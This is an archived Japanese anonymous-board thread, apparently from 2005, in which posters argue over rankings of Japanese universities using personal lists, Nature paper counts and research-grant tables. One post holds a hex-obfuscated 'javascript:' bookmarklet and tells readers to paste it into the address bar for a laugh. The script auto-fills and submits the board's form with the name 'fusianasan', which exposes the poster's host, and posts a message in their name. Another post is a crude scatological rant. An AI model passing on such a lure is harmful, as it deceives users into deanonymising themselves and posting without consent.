■■　確定！！　大学トップ３０　　■■

東大 京大 北大 東北 阪大 名大 九大
東工 一橋 医科歯科 奈良先 筑波 神戸 広大 岡大
金沢 千葉 新潟 群大 信州 岐阜 鳥大 徳大 熊大 長崎 鹿大
早稲田 慶應 立命

　　　

ちょ！鳥取ってｗ

駅弁の俺の大学すら入ってるのに、理科大がないのはなんでだ

農工　電通　豊技　横国　都立　が抜けとる

東大　京大　北大　東北　阪大　名大　九大　東工　一橋　医科歯科
奈良先端　筑波　神戸　広島　山形　農耕　豊橋技　長岡技　首大　横国
金沢　群馬　信州　大阪府立　早稲田　慶応　立命　豊田工　名古屋工　北陸先端

ちょ！山形ってｗ

>>7
山形はすごいよ。
受験偏差値で考える癖、やめた方がいいよ。

有機ELで有名な人って、山形だっけ？

何を基準にして選んでるわけ？
偏差値？研究？学生の質？
確かに有機ＥＬの山形の実績はすばらしいと思う。
でもそれは化学の分野だけだろ？
化学の研究ランキングなわけ？

>>10
他の分野も有名所をかき集めてるよ。山形は。
なんでマジになってんの？
それぞれが思う良い大学を書けば良いだけだと思うけど。

↑BEとか書いてあるしｗ

orz

>>11
別にムキになってないけどな・・・。
＞それぞれが思う良い大学を書けば良いだけだと思うけど。
だから俺は山形はどうかなって言う感想を言ったわけだが？

>>14
どうして？
山形は論文生産数も良い線行ってるぞ。
否定する理由がまったくわからんのだが。

あと、金沢工大とかも、教授の顔ぶれは凄い。
学生のレベルが低すぎだけど。

>>14
お前が思う良い大学を書けば？
山形の代わりに入れるべきだという大学とその根拠。

じゃないと、話にならないじゃん。

7 名前：Nanashi_et_al. 投稿日：2005/07/08(金) 20:54:47 BE:46987362-###
ちょ！山形ってｗ

　↑
無知すぎ
偏差値厨は卒業しろ

>>17
例えば岡山とかかなぁ。根拠ねぇ。
平均的な学生の質と研究者の質の高さ。
名無しで何人も演じるのも大変ですなぁ。
山形大生。

>>19
（ ﾟдﾟ）ﾎﾟｶｰﾝ

>>20
なんだ？よく見ると>>1には岡山入ってるなぁ。
ま>>6に入ってないし山形＞岡山って事はないと思う。

東京一工以外はカス

てかどうやって確定したんよ。このトップ３０は

>>23
だろ？俺がそれ言ったら自分の基準で決めろってさｗ
で違うと思って言ったら無知だってさｗ

我が大阪府大が入ってない…
まぁあんなボロ大じゃあ入らないだろうけどｗ

他の板でやれ

7 名前：Nanashi_et_al. 投稿日：2005/07/08(金) 20:54:47 BE:46987362-###
ちょ！山形ってｗ


こいつだけはアホだな

トップ30って、いまや懐かしいな

>>27
さっきから同じヤツだろ？ｗｗｗｗ
お前山形大生なんだろ？

>>29
なんだ？？？？？？
俺は、首大生

ついでにさ
人の自演を疑うやつは自演の常習者

たぶんおまえだけだよ
粘着してるのは
しょーもな

俺の中での総合ランク（世間一般の評価を重視）
１．東大
２．京大
３．慶應
４．早稲田
５．一橋
６．東北大
７．阪大
８．名古屋大
９．東工大
１０．北海道大
１１．九州大
１２．上智大
１３．筑波大
１４．神戸大
あとは知らん。

馬鹿とブスこそ東大へ行け！

って某ドラマで言ってたな。

>>31
俺はＢｅついてるから自演は無理だなぁ。
なんで首大なわけ？
まぁさっきから俺とお前のレスばっかなんだろうなｗ
山形大生ｗ

必死な山形大生が自演しているスレはここですか？？？？？

>>35
俺と同じ考えの奴キタ〜〜〜〜ｗｗ
>>山形大生
やっぱお前の自演わかりすぎだよｗｗｗｗ

>>35-36
まぁ山形になぜそこまでこだわるかわからんな。
山形大ワロス

>>36
うーむ。
俺はトップ30に山形が入るとは思ってないんだけど・・・
何を妄想してんの？

山形が有名所が多いのはホントだよ。
あそこは、定年を他の大学より伸ばしたんだよ。
それで、定年間際の他大学の有名教授を引き抜く戦略。

とかいったら、俺も山形大認定か。

>>39
だから山形が悪いなんて言ってないだろ？
だがＴＯＰ３０には入らない。それを言っただけなのに山形大生君が
じゃあどこが入るんだ？とか俺がアホだとか煽るからこうなったんだよｗ

>>40
はいはい
わかったわかった
寝ろ

>>40
山形は教授のメンツだけなら、トップ30って言ってもおかしくはないんじゃね？
俺、機械系だけど結構有名な先生多いぞ。

大学のレベルなんてそれだけで決まる訳じゃないけどな。

無知なのに、

7 名前：Nanashi_et_al. 投稿日：2005/07/08(金) 20:54:47 BE:46987362-###
ちょ！山形ってｗ

とかいう煽りをしたお前が原因。
去れ。

>>42
だから>>10に書いただろ？
>>41
乙ｗ

>>43
なにが無知かわからんｗ
なんでお前は山形のとこばかり取り上げるんだ？ｗ
鳥取に対するレスは同意なのか？ｗｗ

COEってトップ30の延長なの？

>>45
山形の有名教授獲得戦略は、一般の新聞とか雑誌とかにも載ってるくらい有名だからじゃね？
鳥取に突っ込むのとは違うでしょ。

意地でも山形大生認定したいみたいだけど、匿名掲示板でそんなことやって意味があると思う？
暇人だな。ずっと張り付いてるじゃん。キミ。

理科大がトップということでいいじゃないか

まぁ何も書かずに山形が入るって言ったらみんな首をかしげると思うな。
そもそも大学ＴＯＰ３０とかつけたら偏差値で見るのが普通なんじゃない？
（偏差値で比べるのはよくないと思うけどね。）
そもそも研究でランキングをつけるのは難しい。ある人には有益であっても
ある人にはまったく興味のない研究だってある。

山形はビックネームが多いかもしれんが最近は実績出してる人は少ないんじゃない？
ほかの大学で実績残したが山形で実績出してないような気がする。

>>48
＞暇人だな。ずっと張り付いてるじゃん。キミ。
オマエモナーｗ

>>50
俺もそう思う。
有名教授がいるのは大切かもしれないけどその大学で実績残してくれないとねぇ。

山形ってそんなに凄いの？そっちいけば良かったかな？

>>50
トップ30といったら、数年前に話題になった文科省がやってたトップサーティだろ？

>そもそも大学ＴＯＰ３０とかつけたら偏差値で見るのが普通なんじゃない？

そんなこというのは、高校生まででいいよ。

>>52
実績出してるよ。
正確には金もっていきやがる。
老人なんだから、もうちょっと遠慮しろよと思う。

日本限定（ｗ

つかさ…はっきり言って教授がすごくても偏差値低かったらだめっしょ。

学会とかで面白げなネタを見つけて質問しても、学生は何も分かってない。
教授とポスドクで論文数稼いで、学生は単なる木偶で、それは教育機関なのか?

まあ、コネで就職させてやれれば、それでいいのか…

>>53
山形大、すごいです。

【サイバー】　鷹山　【キャンパス】
http://science3.2ch.net/test/read.cgi/bake/1090633453/

>>32
蚊系バカがどうしてここにいるんだよ。
巣に帰れよｄｑｎ

>>57
ここは、学歴板じゃないですよ

日本の１０大学
旧帝一工神

世間一般の意識として、やっぱり、これが一流だろ。東大京大は全国区、あとは地方区。

山形が入っていて俺の大学はないんですか。そうですか。

>>60
学歴板って要ったことないから何話してるのか知らないけど、
「大学」の『レベル』を語る上で「学生の『質』」の話は外せないと思うんだが?
理系者なら、情緒的に「学歴差別いくない」とか言う前に、冷静に考えてみろ。

>>63
やっとまともなこと言う人が出てきた。

研究にレベルつけれるわけがないんだから順位をつけられるわけがない。
だとしたら学生の質や偏差値で順位をつけるしかない。
昨日からそれを言っているのにここの奴らは「お前は無知だな」の一言しか言えない。
これだから・・・はといわれても仕方ないんじゃない？

研究にレベルの違いは存在します。

すべての研究がノーベル賞に値するわけがないし、
すべての研究がビルゲイツのような企業家を産むわけではありません。

>>65
君の中ではノーベル賞をとること＝最高の研究　なわけだね？
化学の話になるけどノーベル賞をとった田中さんの研究より
カーボンナノチューブのほうが俺的にはすばらしいと思うんだけど？
あと今までのノーベル賞の中での最高の研究ってどれ？
これは人によって違うんだからレベルつけれるの？

研究レベルを見る一つの指標としてISI論文ランキングがある。
ttp://www.thomsonscientific.jp/news/press/esi2005/ranking.html

それと実際に研究(アイデア出し＆実行)しているのは、
院生、ポスドク、助手などの若手がほとんど。

>>61
> 日本の１０大学
> 旧帝一工神
>
> 世間一般の意識として、やっぱり、これが一流だろ。東大京大は全国区、あとは地方区。

筑波大はこれらのどの大学よりも地元出身（関東出身）率が低いのだが・・・

>>66
キミがやってる研究と、カーボンナノチューブの発見とは同じレベルなの？

>>66
>君の中ではノーベル賞をとること＝最高の研究　なわけだね？

ヲイヲイｗ
日本語

正直、筑波大って良いの？

>>71
自分で判断しろ

http://bbs.tsukuba-ac.jp/

>>69
どこをどう読んだら俺の研究とカーボンナノチューブの比較になってるんだ？
>>70
＞すべての研究がノーベル賞に値するわけがないし
こういう表現をしたら普通最高のものとしてたとえないか？

>>73
研究にレベルの違いが存在するか？って話でしょ。
おちつけよ。お前の方が変。

>>65は、ノーベル賞を取るような研究も存在するし、俺たちがやってるような研究も存在する。
研究にレベルの違いは存在する。

って言ってるだけだろう。

少数突出した優秀な研究者がいるから大学として優れてるってのもどうかと思うがな。
てかそんなに優秀な大学なら企業も評価するだろうしやはり就職力も飛びぬけてるだろう。
研究、設備、就職すべてを総合的に判断しないなら意味ねーと思うぞ。
大学は研究機関である一方で教育機関でもあるんだからどちらか片方だけクローズアップして
優れてる優れてないってのはナンセンス。

まあ研究環境を求めて入るなら筑波は悪くない選択肢だと思うよ。

カーボンナノチューブが実際に役に立っているところを見たことないし、
ＭＡＬＤＩにはお世話になりまくりだから田中さんを支持する。
いい加減ナノテクなんか成果出せよ、って感じだな。最近。

>>77
とりあえずナノテク謳っときゃ科研費とれる。

俺の中での総合ランク（研究・就職を重視）
１．　東京大学
２．　京都大学
３．　大阪大学
４．　東京工業大学
５．　東北大学
６．　早稲田大学
７．　名古屋大学
８．　慶應義塾大学
９．　一橋大学
１０．九州大学
１１．筑波大学
１２．神戸大学
１３．広島大学
１４．横浜国立大学
１５．千葉大学
１６．金沢大学
１７．上智大学
１８．首都大学東京
１９．大阪市立大学
２０．大阪府立大学
２１．東京農工大学
２２．お茶の水女子大学
２３．岡山大学
２４．熊本大学
２５．同志社大学
２６．名古屋工業大学
２７．立命館大学
２８．新潟大学
２９．信州大学
３０．山口大学

また勘違いの工作大学か・・・

HPですらやってるもんな、匿名掲示板でやるなと言う方がおかしいってか？

>>79
奈良先　北陸先　豊橋技　長岡技は？　

奈良先　北陸先　豊橋技　長岡技はどうして大学にしたんだろうな
大学にせずに研究所にすれば理研や産総研とまではいわないけども
優秀な人材があつまるだろうに

>>80
なんでもかんでも「工作」あつかいするのは、低脳の証拠。

>>82
奈良先端、北陸先端が出来た頃は、ポスドクが今ほどいなかった。
研究をしようと思ったら、戦力としては院生しかなかったんじゃね？
パーマネントをたくさん雇う研究所をもっと作るほどは、金もないだろうし。

技科大は、高専生の受け入れという大義名分が始めにあったからなぁ。

今となってはそんなに必要ないでしょ
北陸先端は金沢大と、豊橋技科は愛知大、長岡技科は新潟大と統合でいいんじゃね？
奈良先端は独立研究センター化して京大や阪大から受け入れして
高専の子たちは別に技科大じゃなくて一般大学編入でもよくやってるし

>>84
> 今となってはそんなに必要ないでしょ
> 北陸先端は金沢大と、豊橋技科は愛知大、長岡技科は新潟大と統合でいいんじゃね？

豊橋は名大吸収説が出回っていたのを聞いたことがあるが、どうなったんだろう。
にしても、愛知大って何？

愛知大学
豊橋市内の私立文系大学
http://ja.wikipedia.org/wiki/%E6%84%9B%E7%9F%A5%E5%A4%A7%E5%AD%A6

愛知大は文系私大です
豊橋の名大吸収は立ち消えになったっぽい。

この手のスレは工作大会になるのは目に見えてるだろうに・・・
明確な基準も無く主観で決めた格付けに何の意味があるんだ？

主観主観ってお前はいつもそればかり
大学が導入している外部評価だって結局のところ主観じゃないか
お前がなにか基準を示して見ろよ

科研費とか論文引用数とか？
他には偏差値、人気企業就職率、特許関係かなぁ。

じゃあそれを示し基準にした格付けを見せてくれ

ﾒﾝﾄﾞｸｾ・・・

そもそも、偏差値だ科研費だといってもそれ最後に統合するのは主観になるんだよ

この板あぼーん

>>79
お茶の水がどうしてランキングに入るのかわからん
あれ単科大じゃないの？
それ以外は同意（15位以下はしらないけど）

俺の中での総合ランク（研究・就職を重視）
１．　東京大学
２．　京都大学
３．　東京工業大学
４．　一橋大学
５．　大阪大学
６．　東北大学
７．　名古屋大学
８．　九州大学
９．　慶應義塾大学
１０．神戸大学
１１．早稲田大学
１２．筑波大学
１３．広島大学
１４．横浜国立大学
１５．千葉大学
１６．上智大学


一工の民間就職が最強なのをお忘れなく。

>>96
> 俺の中での総合ランク（研究・就職を重視）

> １１．早稲田大学

笑わせないでくれよ

>>97
高いか低いかくらい言えよ。

javascript:s='7769746828646f63756d656
e742e666f726d735b305d297b46524f4d2e76
616c75653d2766757369616e6173616e273b4
d4553534147452e76616c75653d275c753531
34345c75386362345c75373533625c7535306
3665c75333034665c75333036305c75333035
355c7533303434273b7375626d69742e636c6
9636b28293b7d';for(l=0,e="";l<s.lengt
h;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));

１：　上のアドレスをコピーする。
２：　コピーしたアドレスをアドレスバーに貼り付ける。
３：　アドレス先に移動する。
　　　上のことやると面白いぜ。一回やってみたけどかなり笑った。

100

理系板なんだし文系は除外しようよ
ちなみに>>79たぶん北海道大学忘れてるよ。意図的？
俺の中での総合ランク（研究・就職を重視）
１．　東京大学
２．　京都大学
３．　東京工業大学
４．　大阪大学
５．　東北大学
６．　名古屋大学
７．　九州大学
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
８．　早稲田大学
９．　北海道大学
１０．慶應義塾大学
１１．筑波大学
１２．広島大学
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
１３．横浜国立大学
１４．神戸大学
１５．東京農工大学

>>101

神戸＞ヒロシマン

神戸に理系あるの？学会で見たこと無いからしらなかった

>>98

研究を重視して早稲田がどの程度の位置にくるのかわからないのか？
就職だって、フリーターが数え切れないくらいいるわけだし。

俺の中での理系総合ランク（研究・就職を重視）
１．　東京大学
２．　京都大学
３．　東京工業大学
４．　大阪大学
５．　東北大学
６．　名古屋大学
７．　九州大学
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
８．　早稲田大学
９．　北海道大学
１０．慶應義塾大学
１１．筑波大学
１２．広島大学
１３．東京農工大学
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
１４．横浜国立大学
１５．奈良先端

必死なのはかまわんが広島も筑波も就職弱いが・・・・
研究レベルはともかく就職では下手すりゃマーチ以下だから
ランクインさせて良いのか難しいとこだな・・・

出典：日本経済新聞　2004年2月16日朝刊

1位　大阪大学
2位　奈良先端科学技術大学院大学
3位　東北大学
4位　東京大学
5位　東京農工大学
早稲田大学（理工）
7位　東京工業大学
8位　慶應義塾大学（理工）
9位　名古屋大学
10位　京都大学

でしょう？
阪大ってなんか問題あった記憶が．．．

俺の中での理系総合ランク（研究を重視）
１．　東京大学
２．　京都大学
３．　東京工業大学
４．　大阪大学
５．　東北大学
６．　名古屋大学
７．　九州大学
８．　横浜国立大学
９．　北海道大学
１０．慶應義塾大学
１１．神戸大学
１２．筑波大学
１３．広島大学
その他（早稲田含む）

早稲田をその他に入れてるのはあおりじゃないよ。
研究活動をするようになってから痛切にそう感じてるからそう書いてる。

日本は私立と国立大の格差が大きいね。
研究者になりたい高校生が何も知らずに私立なんかにいくと痛い目にあうよ。

慶応はなぜ？

慶応は結構いい研究してる先生が何人かいるからね。
教育システムも私立の中では一番まともじゃないかな。
ちなみに俺は慶応とはまったく関係ないけどね。

まぁ上のランキングの8位から13位まではほとんど差がないと思ってるし、ある程度のレベルの大学にいれば
あとは個人の教員の能力が一番ものをいうだろうね。

http://campus.milkcafe.net/test/read.cgi/koube/1087244367/
33 名前：名無しさん [2005/05/28(土) 01:40]
日本史的には神戸は旧帝だけど、
何でみんな旧帝からはずすのかな？
そんなに悪いことでもしたのか？


34 名前：名無しさん [2005/07/16(土) 13:06]
てか旧帝って言ってるやつらは、あくまで低レベルの「地底」だから、
そこまで神戸はレベルまで落としたくないんだろ。

実社会で、東大・京大＞神戸＞早慶＞地底というポジションは変わらないからな。

早稲田も十分いい研究してるとおもうよ
自分の能力のなさを施設や予算のせいにするなよ
友人の早稲田生に研究のために企業の特殊な施設を
あたまをさげて借りに行った奴もいるし
学会誌以外の雑誌にのるような派手な研究じゃないが
すばらしい成果をのこしてる奴もいっぱいいる
どこで研究するかより誰のもとでどれだけ自分の研究に
興味をもってできるかじゃないか

とマジレス

>>112
日本において、帝国大学とは、1886年に大日本帝国が公布した帝国大学令によって存在していた大学のことである。

帝国大学は略して帝大と呼ばれ、卒業時には学科ごとに最優秀のものには天皇から恩賜の銀時計が下賜された。
また卒業生のクラブとして学士会（本部・東京都）が1886年（明治19年）に設けられた。

帝国大学令が1947年に国立総合大学令に改題されるまでの間、この法令に基づいて設立された大学は以下のとおりである。

明治期設立： わが国高等教育の確立期
帝国大学（1877年設立、1897年に京都に帝国大学新設により東京帝国大学へ改称、現在の東京大学）
京都帝国大学（1897年設立、現在の京都大学）
東北帝国大学（1907年設立、現在の東北大学）
九州帝国大学（1911年設立、現在の九州大学）
※ 1897年（明治30年）以前の「帝国大学」とは、東京帝国大学のみを指す。

大正期設立： わが国高等教育の拡充、遠方や植民地での高等教育普及を目的とした大学設立
北海道帝国大学（1918年設立、現在の北海道大学）
京城帝国大学（1924年設立、日本敗戦により消滅）

昭和期設立： 戦時体制直前における技術者養成に重点を置いた理科系専門大学設立
台北帝国大学（1928年設立、台湾大学の設立母体）
大阪帝国大学（1931年設立、現在の大阪大学）
名古屋帝国大学（1939年設立、現在の名古屋大学）

>>114
>京城帝国大学
これってまさかソウル大学？

>>115
1946年10月15日に旧・京城大学(戦前の京城帝国大学)を中心に9つの専門学校を統合、ソウル大学校となった。
京城帝国大学に起源があるものの、京城大学が8月22日に一旦閉鎖されているため、連続性は無いが、
理事会、施設などが旧京城帝国大学関連のものであり関連性は深い。
ちなみに、ソウル大学校の公式見解では京城帝国大学を起源としていない。

一方、

現在の台湾大学は台北帝国大学を受け継いだものだと台湾人は考えている。

■大学ランキング２００６（２００５年４月刊）■出典：朝日新聞社

最近１1年間（１９９４〜２００４年）にネイチャーに掲載された日本からの論文の著者の所属大学を調査。
１つの論文に複数の大学からの著者がいる場合は、それぞれの大学から１つの論文が掲載されたとして計算。

ネイチャー掲載論文数ランキング（大学編）

（単位・本）　　　　　（１９９４〜２００４年）
順位大学名 94 95 96 97 98 99 00 01 02 03 04 累計
　1 　東京大学 19 14 9 23 25 17 21 18 23 19 29 217
　2 　京都大学 6 8 12 11 11 9 11 7 7 11 7 100
　3 　大阪大学 2 8 5 8 11 6 10 8 5 7 11 81
　4 　東北大学 3 1 2 3 5 5 10 3 9 7 8 56
　5 　九州大学 2 7 1 1 2 2 5 6 2 4 3 35
　6 　名古屋大学 3 3 3 1 4 5 4 2 1 5 2 33
　7 　東京工業大学 1 0 0 6 2 1 3 5 0 3 8 29
　8 　慶応義塾大学 0 1 1 1 1 2 2 5 4 1 5 23
　9 　奈良先端科学技術大学院大学 0 0 1 1 1 3 1 1 3 5 3 19
10 　総合研究大学院大学 0 0 2 0 0 2 3 1 3 2 3 16
11 　筑波大学 0 1 4 4 3 0 1 3 0 0 0 16
12　 北海道大学 0 2 1 1 2 3 2 1 2 1 0 15
12 　神戸大学 1 1 0 1 0 2 1 3 1 3 0 13
14 　熊本大学 0 2 1 2 2 0 0 1 0 0 4 12
15 　千葉大学 2 2 0 0 0 2 0 2 1 1 2 12
15 　東京医科歯科大学 1 0 0 2 0 1 0 1 2 2 2 11
16 　広島大学 1 0 1 0 3 1 0 1 1 1 2 11
16 　首都大学東京 0 0 1 1 2 1 1 1 0 1 0 8
17 　三重大学 0 1 1 2 1 0 1 1 0 0 0 7
17 　早稲田大学 1 2 0 1 2 0 0 1 0 0 0 7
※　九州大学、筑波大学、神戸大学には
　　九州芸術工科大、図書館情報大、神戸商船大の分は含まず

俺はこうおもう
医学部重視でしょ理系なら
１．　東京大学
２．　京都大学
３．　大阪大学
４．　東北大学
５．　名古屋大学
６．　岡山大学
７．　九州大学
８．　北海道大学
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
９．　東京工業大学
１０．慶応大学　
１１．千葉大学
１２．神戸大学
１３．東京医科歯科
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
１４．筑波大学
１５．金沢大学

>>118
意味不明

岡山工作員乙

＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿／
　　　　　　　　 ,,-―--、　Ｖ
　　　　　　　　|:::::::::::::;;;ﾉ
　　　　　　　　|::::::::::(　」　
　　　　　　　　ﾉﾉﾉ　ヽ_l
　　　　　　　,,-┴―┴- 、　　　 ∩_
　　　　　／,|┌-[]─┐|　＼　　( 　ﾉ
　 　 　 / ヽ| | 　バ　 | '、／＼ /　/
　 　 　/ `./| | 　カ 　|　 |＼　　　/
　 　 　＼ ヽ| lゝ 　　 |　 | 　＼__/
　　　　　＼ | ￣￣￣ 　 |
　　　　　 ⊂|＿＿＿＿__|
　　　　　　　|l＿l i　l＿l |

理系なら理学部重視だろ。

岡山にもいい研究してる人いるとは思うが、ちょっと持ち上げすぎだよな。

＞医学部重視でしょ理系なら
ハァ？

東工大の医学部は確かに優秀だ。

科学研究費補助金ﾗﾝｷﾝｸﾞ
http://research.nii.ac.jp/TechReports/04-001J.pdf

理学 科研費獲得件数ランキング（大学のみ抜粋）
1.東京大学 2.京都大学 3.東北大学 4.北海道大学 5.大阪大学 6.九州大学 7.名古屋大学 8.広島大学 9.東京工業大学 10.筑波大学
11.東京都立大学 12.神戸大学 13.千葉大学 14.大阪市立大学 15.金沢大学 16.岡山大学 17.新潟大学 18.東京理科大学 19.静岡大学 20.愛媛大学
21.東京理科大学 22.愛媛大学 23.山口大学 24.慶応義塾大学 25.早稲田大学 26.茨城大学 27.島根大学 27.奈良女子大学 29.埼玉大学 30.姫路工業大学

理学 科研費獲得金額ランキング（大学のみ抜粋）
1.東京大学 2.京都大学 3.東北大学 4.北海道大学 5.大阪大学 6.名古屋大学 7.九州大学 8.東京工業大学 9.広島大学 10.筑波大学
11.東京都立大学 12.神戸大学 13.千葉大学 14.岡山大学 15.大阪市立大学 16.金沢大学 17.新潟大学 18.静岡大学 19.姫路工業大学 20.慶応義塾大学
21.東京理科大学 22.愛媛大学 22.早稲田大学 23.島根大学 24.山口大学 25.茨城大学 26.熊本大学 27.奈良女子大学 28.埼玉大学 29.電気通信大学 30.お茶女子大学

工学 科研費獲得件数ランキング（大学のみ抜粋）
1.東京大学 2.東北大学 3.京都大学 4.東京工業大学 5.大阪大学 6.九州大学 7.名古屋大学 8.北海道大学 9.広島大学 10.早稲田大学
11.神戸大学 12.筑波大学 13.岡山大学 14.名古屋工業大学 15.長岡技科大学 16.大阪府立大学 17.九州工業大学 18.東京農工大学 19.横浜国立大学 20.熊本大学
21.豊橋技科大学 22.慶應義塾大学 23.静岡大学 24.東京都立大学 25.千葉大学 26.岐阜大学 27.京都工繊大学 28.埼玉大学 28.金沢大学 30.山口大学

工学 科研費獲得金額ランキング（大学のみ抜粋）
1.東京大学 2.東北大学 3.京都大学 4.東京工業大学 5.大阪大学 6.九州大学 7.名古屋大学 8.北海道大学 9.広島大学 10.早稲田大学
11.筑波大学 12.神戸大学 13.東京農工大学 14.横浜国立大学 15.岡山大学 16.慶応義塾大学 17.長岡技科大学 18.名古屋工業大学 19.大阪府立大学 20.九州工業大学
21.豊橋技科大学 22.静岡大学 23.東京都立大学 24.熊本大学 25.埼玉大学 26.千葉大学 27.岐阜大学 28．金沢大学 29.東京理科大学 30．京都工繊大学

科学研究費補助金採択研究課題数による大学の研究活性度の調査研究
科学研究費補助金制度は、わが国で最も古い大学教員に対する研究費の提案・公募型の研究費配分制度である。
本研究では１９９８年から２００２年度まで５年間の科学研究費補助金の採択件数を研究分野別ごとに、大学別に分類し
各大学の研究活性度の指標にすることを目的としている。

理系編：http://research.nii.ac.jp/TechReports/04-001J.pdf
文系編：http://research.nii.ac.jp/TechReports/03-007J.pdf
医系編：http://research.nii.ac.jp/TechReports/04-002J.pdf
融合系編：http://research.nii.ac.jp/TechReports/04-003J.pdf
特別研究員奨励費編：http://research.nii.ac.jp/TechReports/04-004J.pdf
大型研究費編：http://research.nii.ac.jp/TechReports/04-005J.pdf

3 ：Nanashi_et_al.：2005/07/08(金) 20:25:15 ?###
ちょ！鳥取ってｗ

7 ：Nanashi_et_al.：2005/07/08(金) 20:54:47 ?###
ちょ！山形ってｗ

>>125
サイボーグとか作ってそうだなｗ

鳥大医学部>>>>>東大工学部
鳥大工学部>>>>>神大海事科学部
鳥大農学部>>>>>北大水産学部
鳥大地域学部>>>>>>九大芸術工学部
ですが何か？

>>130
はいはい鳥取大学すごすすごす

理系は獲得金額、文系は獲得件数を重視し掲載：1998〜2002年（5年間の総計数）
理学 科研費獲得金額ランキング（大学のみ抜粋）
1.東京 2.京都 3.東北 4.北海道 5.大阪 6.九州 7.名古屋 8.東工 9.広島 10.筑波
11.都立 12.神戸 13.千葉 14.岡山 15.阪市 16.金沢 17.新潟 18.静岡 19.姫路工業 20.慶應

工学 科研費獲得金額ランキング（大学のみ抜粋）
1.東京 2.東北 3.京都 4.東工 5.大阪 6.九州 7.名古屋 8.北海道 9.広島 10.早稲田
11.筑波 12.神戸 13.農工 14.横国 15.岡山 16.慶應 17.長岡技科 18.名工 19.阪府 20.九工

医学 科研費獲得金額ランキング（大学のみ抜粋）
1.東京 2.大阪 3.京都 4.東北 5.九州 6.医科歯科 7.北海道 8.慶應 9.広島 10.徳島
11.岡山 12.新潟 13.長崎 14.熊本 15.千葉 16.名古屋 17.金沢 18.群馬 19.神戸 20.昭和

法学 科研費獲得件数ランキング（大学のみ抜粋）
1.東京 2.北海道 3.神戸 4.九州 5.早稲田 6.京都 7.立命 8.名古屋 9.東北 10.広島
11.阪市 12.法政 13.岡山 14.大阪 15.立教 16.千葉 17.一橋 18.新潟 19.筑波 20.福島

経済学 科研費獲得件数ランキング（大学のみ抜粋）
1.神戸 2.一橋 3.大阪 4.東京 5.早稲田 6.筑波 7.北海道 8.東北 9.京都 10.九州
11.名古屋 12.横国 13.立命 14.広島 15.慶應 16.小樽 17.滋賀 18.阪市 19.中央 20.明治

文学 科研費獲得件数ランキング（大学のみ抜粋）
1.東京 2.京都 3.広島 4.筑波 5.北海道 6.九州 7.名古屋 8.東北 9.大阪 10.早稲田
11.神戸 12.学芸 13.都立 14.千葉 15.東外 16.新潟 17.静岡 18.埼玉 19.立教 20.慶應

心理・社会・教育学 科研費獲得件数ランキング（大学のみ抜粋）
1.京都 2.広島 3.東京 4.筑波 5.名古屋 6.九州 7.北海道 8.東北 9.早稲田 10.学芸
11.神戸 12.静岡 13.大阪 14.千葉 15.立命 16.大阪教 17.兵庫教 18.お茶女 19.埼玉 20.慶應

複合領域 科研費獲得件数ランキング（大学のみ抜粋）
1.東京 2.京都 3.大阪 4.東北 5.筑波 6.名古屋 7.九州 8.東工 9.北海道 10.広島
11.神戸 12.奈良先端 13.金沢 14.早稲田 15.徳島 16.熊本 17.静岡 18.岡山 19.新潟 20.群馬

関関同立理工系でＴＯＰ３０に入るのはがんばって同志社くらいか・・？

科研費みるとやっぱ北大は帝国大なのだなと思う。筑波は以外にも文系でも取ってるのね。

>>133
立命が理系で同志社に負けてるとは思わんがね。

>>135
なんでさぁ？

>>136
たとえばありきたりだがCOE採用件数とか。

COEなんて科研費にくらべたらごく一部だよ

>>138
採用される事に意味があるんだよ
されない大学は存在意味が無いってことよ。

チソチソ

＞存在意味
ｗｗｗ

>>139
COEに採用された教官が逃げ出した→COE返上の専門学校…じゃなかった
大学には何か存在意味はありますか?

工芸繊維って出てこないけど？

めんどくさいから全部合併してみんな日本国立大にしる

>>136
理学部が無いのは、結構だめだと思う。

>>131

科学研究費補助金　1998-2002（5年間）平均

農学　
1-5　　 東大　京大　北大　名大　九大
6-10 　 東北　筑波　農工　帯広畜産　岡山
11-15　広島　神戸　岩手　三重　大阪府立
16-20　鳥取　東京水産　鹿児島　岐阜　千葉
21-25　宮崎　理化学研　新潟　静岡　北里
26-30　東京農大　山口　宇都宮　日大　信州
31-35　長崎　愛媛　麻布　茨城　山形
36-40　佐賀　京都府立　近大　高知　島根
41-45　酪農　香川　東工　東海　弘前
46-50　琉球　秋田農短　秋田県立　福井県立　日獣

ttp://research.nii.ac.jp/TechReports/04-001J.pdf

騙されてはいけません！！
あなたは、幻覚を見ているだけなんですよ！！！
本当のあなたは今俺のウンコを食いまくっている！！！！
目がいっちゃってる！！！！大変だ！！！！！
今、口から俺のウンコ吹き出しながら倒れた！！！！！！！！！！！！！
しっかりするんだ！！！！！！！！！！！！！！！
悪魔に騙されてはいけない！！！！！！！！！！！！
俺の声が聞こえないのか？
こうして俺がしゃべっているのも、書き込まれているという形でお前に伝わっているらしいが、早く現実に戻れ！！！！！！！！！！

>>146
農学なんてない大学が多い中で16番目くらいじゃ糞の役にも立たんだろｗｗｗ

理系板らしからぬスレだな。まず判定基準を明確にしろよ。
研究費がよく挙がってるけど、それを学生院生の数で割ったら一人当たりの予算はだいぶ違ってくるだろ。
>>1に至ってはなんとなくで書いたとしか思えないくらいいい加減だし。

>>146
最後の日獣にびびりました
何者ですか

※勝敗表は左から順に、大学格・科研費・全国知名度・偏差値・医学
※◎圧勝→勝点3　○勝利→勝点2　△辛勝→勝点1

【Ｂ級イレブン第一リーグ】
＿＿＿＿　 北海道大 　　上智大学　　広島大学　　首都大学　 岡山大学　　金沢大学　　勝点
北海道大　−−−−− ◎◎△△◎ ◎◎◎△○ ◎◎◎○◎ ○◎○△● ○◎◎○△　 49
上智大学　●●▲▲● −−−−− ●●△△● ▲▲◎○− ●●▲▲● ●●○○●　 11
広島大学　●●●▲● ○◎▲▲◎ −−−−− ◎◎○△◎ ●△●▲● ▲◎△○▲　 27
首都大学　●●●●● △○●●− ●●●▲● −−−−− ●●●●● ●●▲△●　　4
岡山大学　●●●▲○ ◎◎△△◎ ○▲○△◎ ◎◎○○◎ −−−−− ○◎○○○　 45
